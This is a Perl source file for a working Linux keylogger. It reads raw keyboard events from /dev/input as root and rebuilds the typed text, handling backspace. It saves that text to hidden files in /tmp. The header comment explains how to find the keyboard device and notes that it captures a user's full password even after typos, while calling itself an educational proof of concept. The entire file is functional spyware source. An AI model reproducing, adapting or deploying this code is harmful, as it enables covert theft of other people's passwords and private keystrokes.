371 lines
8.6 KiB
Plaintext
371 lines
8.6 KiB
Plaintext
|
#!/usr/bin/perl -w
|
||
|
|
||
|
use strict;
|
||
|
use warnings;
|
||
|
use threads;
|
||
|
use threads::shared;
|
||
|
|
||
|
# keylog - A simple key logger.
|
||
|
# Usage: keylog <path-to-device-node>
|
||
|
# Example: keylog /dev/input/event0
|
||
|
#
|
||
|
# The user you run this as should have read access to the device node. Most of
|
||
|
# the time, this means you'll need to run this as root.
|
||
|
#
|
||
|
# To find out which device node your keyboard is using, run the command
|
||
|
# `cat /proc/bus/input/devices` and search for your keyboard. There should be
|
||
|
# a line by your keyboard's info that looks like "Handlers=kbd event4" and
|
||
|
# in this case the input device is /dev/input/event4. Update this for any
|
||
|
# other event number that you see instead.
|
||
|
#
|
||
|
# This program prints ALL key events to the terminal (including the key up/down
|
||
|
# events for all keys). This information probably isn't directly useful to you,
|
||
|
# so it also logs "full sentences" to the log file at /tmp/.keylog. The lines
|
||
|
# it logs are probably the most useful to you; if the user hits the backspace
|
||
|
# key, the last key they typed is deleted, etc.. so if a user is typing their
|
||
|
# password and makes a typo and finishes typing, you'll get their full password.
|
||
|
#
|
||
|
# The buffer used for this is saved after 2 seconds of idle time in their typing,
|
||
|
# or when a "separator key" is entered (a separator key is: Enter, Return, or
|
||
|
# Tab). Each buffer is saved to its own line in the log file. If the user is a
|
||
|
# slow typer, one "sentence" may actually span multiple lines, so you'll have to
|
||
|
# figure this out yourself.
|
||
|
#
|
||
|
# This is just a proof of concept and should be used for educational purposes
|
||
|
# only.
|
||
|
#
|
||
|
# --Kirsle
|
||
|
# http://sh.kirsle.net/
|
||
|
|
||
|
# Modify the die handler so we can exit on error messages
|
||
|
# more gracefully.
|
||
|
$SIG{__DIE__} = sub {
|
||
|
my $err = shift;
|
||
|
$err =~ s/ at .+ line .+\.//g;
|
||
|
print $err;
|
||
|
exit(1);
|
||
|
};
|
||
|
|
||
|
# Get the device node from command line.
|
||
|
scalar(@ARGV) or die "Usage: keylog <device-node>\nExample: keylog /dev/input/event0";
|
||
|
my $DEV = $ARGV[0];
|
||
|
|
||
|
# Must run this as root, or be able to read from the device.
|
||
|
if (!-r $DEV) {
|
||
|
die "Can't read from $DEV; got root?";
|
||
|
}
|
||
|
|
||
|
# Hash to keep track of modifier keys.
|
||
|
our $mod = {
|
||
|
shift => 0,
|
||
|
alt => 0,
|
||
|
ctrl => 0,
|
||
|
};
|
||
|
|
||
|
# This scalar holds the "typing buffer". If they pause typing for 2 seconds,
|
||
|
# or hit a "separator key" (return/enter or tab), the buffer is written to disk
|
||
|
# in the log file. The backspace key deletes text in the buffer, etc. This way
|
||
|
# you can see basically what they typed, without having to parse through the
|
||
|
# key up/down events yourself.
|
||
|
my $buffer : shared;
|
||
|
my $lastkey : shared; # Holds the time() of the last key event seen.
|
||
|
my $writenow : shared; # The key parser can force the buffer to write now.
|
||
|
$buffer = '';
|
||
|
$lastkey = 0;
|
||
|
$writenow = 0;
|
||
|
|
||
|
# Spawn a thread to watch the buffer and write it to disk. This way the
|
||
|
# blocking file reads won't prevent the buffer from being written.
|
||
|
my $bufthread = threads->create (\&buffer);
|
||
|
|
||
|
# Open the device for reading.
|
||
|
open (FILE, $DEV);
|
||
|
while (1) {
|
||
|
# Read the next keypress event.
|
||
|
my $line = "";
|
||
|
sysread(FILE, $line, 16);
|
||
|
my @vals = split(//, $line);
|
||
|
|
||
|
if (ord($vals[10]) != 0) {
|
||
|
# Interpret the event.
|
||
|
interpret(ord($vals[10]),ord($vals[12]));
|
||
|
}
|
||
|
}
|
||
|
close (FILE);
|
||
|
|
||
|
# This is the buffer writing thread.
|
||
|
sub buffer {
|
||
|
while (1) {
|
||
|
select(undef,undef,undef,0.1);
|
||
|
|
||
|
# Was there a 2 second delay from the last event?
|
||
|
if ($lastkey == 0) {
|
||
|
next;
|
||
|
}
|
||
|
|
||
|
if ((time() - $lastkey >= 2 && length($buffer) > 0) || $writenow) {
|
||
|
# Write it to disk.
|
||
|
print "Writing buffer to disk\n";
|
||
|
open (WRITE, ">>/tmp/.keylog");
|
||
|
print WRITE ts() . "$buffer\n";
|
||
|
close (WRITE);
|
||
|
$buffer = '';
|
||
|
$lastkey = 0;
|
||
|
$writenow = 0;
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
# Interpret keycode events from the device node.
|
||
|
sub interpret {
|
||
|
my ($keycode,$state) = @_;
|
||
|
|
||
|
# Store the last keypress time.
|
||
|
$lastkey = time();
|
||
|
|
||
|
# Qwerty keyboard map.
|
||
|
qwerty($keycode,$state);
|
||
|
return;
|
||
|
|
||
|
# This code doesn't run; if you want it to run,
|
||
|
# comment out the "return" just above these
|
||
|
# comments. This is for debugging purposes.
|
||
|
print "[$keycode] ";
|
||
|
if ($state == 0) {
|
||
|
print "up\n";
|
||
|
}
|
||
|
elsif ($state == 1) {
|
||
|
print "down\n";
|
||
|
}
|
||
|
elsif ($state == 2) {
|
||
|
print "repeat\n";
|
||
|
}
|
||
|
else {
|
||
|
print "\n";
|
||
|
}
|
||
|
}
|
||
|
|
||
|
# Interpret keycodes based on QWERTY key map.
|
||
|
sub qwerty {
|
||
|
my ($code,$state) = @_;
|
||
|
return unless $state >= 0 && $state <= 2;
|
||
|
|
||
|
# Handle the modifier keys first.
|
||
|
if ($code == 42 || $code == 54) {
|
||
|
# Shift key.
|
||
|
$mod->{shift} = ($state == 1 ? 1 : 0);
|
||
|
}
|
||
|
elsif ($code == 29 || $code == 97) {
|
||
|
# Ctrl key.
|
||
|
$mod->{ctrl} = ($state == 1 ? 1 : 0);
|
||
|
}
|
||
|
elsif ($code == 56 || $code == 100) {
|
||
|
# Alt key.
|
||
|
$mod->{alt} = ($state == 1 ? 1 : 0);
|
||
|
}
|
||
|
|
||
|
# Qwery keys.
|
||
|
my %keys = (
|
||
|
# Keys that map to two different characters (with shift
|
||
|
# key held down) are an array; element 0 is the non-shifted
|
||
|
# character, element 1 is the shifted character.
|
||
|
|
||
|
# number row
|
||
|
41 => [ '`', '~' ],
|
||
|
2 => [ '1', '!' ],
|
||
|
3 => [ '2', '@' ],
|
||
|
4 => [ '3', '#' ],
|
||
|
5 => [ '4', '$' ],
|
||
|
6 => [ '5', '%' ],
|
||
|
7 => [ '6', '^' ],
|
||
|
8 => [ '7', '&' ],
|
||
|
9 => [ '8', '*' ],
|
||
|
10 => [ '9', '(' ],
|
||
|
11 => [ '0', ')' ],
|
||
|
12 => [ '-', '_' ],
|
||
|
13 => [ '=', '+' ],
|
||
|
|
||
|
# qwerty row
|
||
|
16 => [ 'q', 'Q' ],
|
||
|
17 => [ 'w', 'W' ],
|
||
|
18 => [ 'e', 'E' ],
|
||
|
19 => [ 'r', 'R' ],
|
||
|
20 => [ 't', 'T' ],
|
||
|
21 => [ 'y', 'Y' ],
|
||
|
22 => [ 'u', 'U' ],
|
||
|
23 => [ 'i', 'I' ],
|
||
|
24 => [ 'o', 'O' ],
|
||
|
25 => [ 'p', 'P' ],
|
||
|
26 => [ '[', '{' ],
|
||
|
27 => [ ']', '}' ],
|
||
|
43 => [ '\\', '|' ],
|
||
|
|
||
|
# asdf row
|
||
|
30 => [ 'a', 'A' ],
|
||
|
31 => [ 's', 'S' ],
|
||
|
32 => [ 'd', 'D' ],
|
||
|
33 => [ 'f', 'F' ],
|
||
|
34 => [ 'g', 'G' ],
|
||
|
35 => [ 'h', 'H' ],
|
||
|
36 => [ 'j', 'J' ],
|
||
|
37 => [ 'k', 'K' ],
|
||
|
38 => [ 'l', 'L' ],
|
||
|
39 => [ ';', ':' ],
|
||
|
40 => [ "'", '"' ],
|
||
|
|
||
|
# zxcv row
|
||
|
44 => [ 'z', 'Z' ],
|
||
|
45 => [ 'x', 'X' ],
|
||
|
46 => [ 'c', 'C' ],
|
||
|
47 => [ 'v', 'V' ],
|
||
|
48 => [ 'b', 'B' ],
|
||
|
49 => [ 'n', 'N' ],
|
||
|
50 => [ 'm', 'M' ],
|
||
|
51 => [ ',', '<' ],
|
||
|
52 => [ '.', '>' ],
|
||
|
53 => [ '/', '?' ],
|
||
|
|
||
|
# Other keys
|
||
|
14 => 'Backspace',
|
||
|
28 => 'Return',
|
||
|
96 => 'Enter',
|
||
|
15 => 'Tab',
|
||
|
57 => ' ',
|
||
|
58 => 'Caps Lock',
|
||
|
69 => 'Num Lock',
|
||
|
70 => 'Scroll Lock',
|
||
|
42 => 'L-Shift',
|
||
|
54 => 'R-Shift',
|
||
|
29 => 'L-Ctrl',
|
||
|
97 => 'R-Ctrl',
|
||
|
56 => 'L-Alt',
|
||
|
100 => 'R-Alt',
|
||
|
125 => 'L-Super',
|
||
|
126 => 'R-Super',
|
||
|
127 => 'Menu',
|
||
|
1 => 'Escape',
|
||
|
59 => 'F1',
|
||
|
60 => 'F2',
|
||
|
61 => 'F3',
|
||
|
62 => 'F4',
|
||
|
63 => 'F5',
|
||
|
64 => 'F6',
|
||
|
65 => 'F7',
|
||
|
66 => 'F8',
|
||
|
67 => 'F9',
|
||
|
68 => 'F10',
|
||
|
87 => 'F11',
|
||
|
88 => 'F12',
|
||
|
110 => 'Insert',
|
||
|
102 => 'Home',
|
||
|
107 => 'End',
|
||
|
104 => 'Pg Up',
|
||
|
109 => 'Pg Dn',
|
||
|
111 => 'Del',
|
||
|
99 => 'Print Screen',
|
||
|
119 => 'Pause',
|
||
|
103 => 'Up',
|
||
|
108 => 'Down',
|
||
|
106 => 'Right',
|
||
|
105 => 'Left',
|
||
|
71 => [ 'Num-7', 'Num-Home' ],
|
||
|
72 => [ 'Num-8', 'Num-Up' ],
|
||
|
73 => [ 'Num-9', 'Num-Pg Up' ],
|
||
|
75 => [ 'Num-4', 'Num-Left' ],
|
||
|
76 => 'Num-5',
|
||
|
77 => [ 'Num-6', 'Num-Right' ],
|
||
|
79 => [ 'Num-1', 'Num-End' ],
|
||
|
80 => [ 'Num-2', 'Num-Down' ],
|
||
|
81 => [ 'Num-3', 'Num-Pg Dn' ],
|
||
|
82 => [ 'Num-0', 'Num-Insert' ],
|
||
|
96 => 'Num-/',
|
||
|
55 => 'Num-*',
|
||
|
74 => 'Num--',
|
||
|
78 => 'Num-+',
|
||
|
93 => [ 'Num-.', 'Num-Del' ],
|
||
|
);
|
||
|
|
||
|
# See their matching keypress.
|
||
|
my $keypress = '';
|
||
|
foreach my $key (sort keys %keys) {
|
||
|
if ($code == $key) {
|
||
|
# We have a match! Does the key have a shift-modifier?
|
||
|
if (ref($keys{$key}) eq "ARRAY") {
|
||
|
if ($mod->{shift}) {
|
||
|
$keypress = $keys{$key}->[1];
|
||
|
}
|
||
|
else {
|
||
|
$keypress = $keys{$key}->[0];
|
||
|
}
|
||
|
}
|
||
|
else {
|
||
|
$keypress = $keys{$key};
|
||
|
}
|
||
|
last;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
# Add it to the buffer.
|
||
|
if ($state == 1) {
|
||
|
if (length $keypress > 1) {
|
||
|
if ($keypress eq 'Backspace') {
|
||
|
# Delete the last character off the end of their buffer.
|
||
|
$buffer = substr($buffer,0,(length($buffer) - 1));
|
||
|
}
|
||
|
else {
|
||
|
# Add the special key with {brackets} around it.
|
||
|
$buffer .= "{$keypress}";
|
||
|
}
|
||
|
}
|
||
|
else {
|
||
|
$buffer .= $keypress;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
# If they hit a separator key, save the buffer right now.
|
||
|
if ($state == 1 && ($keypress eq 'Return' || $keypress eq 'Enter' || $keypress eq 'Tab')) {
|
||
|
$writenow = 1;
|
||
|
}
|
||
|
|
||
|
# Print their key.
|
||
|
if ($mod->{shift}) {
|
||
|
$keypress = "(Shift) $keypress";
|
||
|
}
|
||
|
if ($mod->{ctrl}) {
|
||
|
$keypress = "(Ctrl) $keypress";
|
||
|
}
|
||
|
if ($mod->{alt}) {
|
||
|
$keypress = "(Alt) $keypress";
|
||
|
}
|
||
|
|
||
|
if ($state == 1) {
|
||
|
$keypress = "+ $keypress";
|
||
|
}
|
||
|
else {
|
||
|
$keypress = "- $keypress";
|
||
|
}
|
||
|
|
||
|
print "$code $keypress\n";
|
||
|
|
||
|
# Log the raw keypresses too.
|
||
|
open (RAW, ">>/tmp/.rawkeylog");
|
||
|
print RAW ts() . "$code $keypress\n";
|
||
|
close (RAW);
|
||
|
}
|
||
|
|
||
|
sub ts {
|
||
|
my @time = localtime();
|
||
|
return "[" . join(" ",
|
||
|
join("-",
|
||
|
sprintf("%04d", $time[5] + 1900),
|
||
|
sprintf("%02d", $time[4] + 1),
|
||
|
sprintf("%02d", $time[3]),
|
||
|
),
|
||
|
join(":",
|
||
|
sprintf("%02d", $time[2]),
|
||
|
sprintf("%02d", $time[1]),
|
||
|
sprintf("%02d", $time[0]),
|
||
|
),
|
||
|
) . "] ";
|
||
|
}
|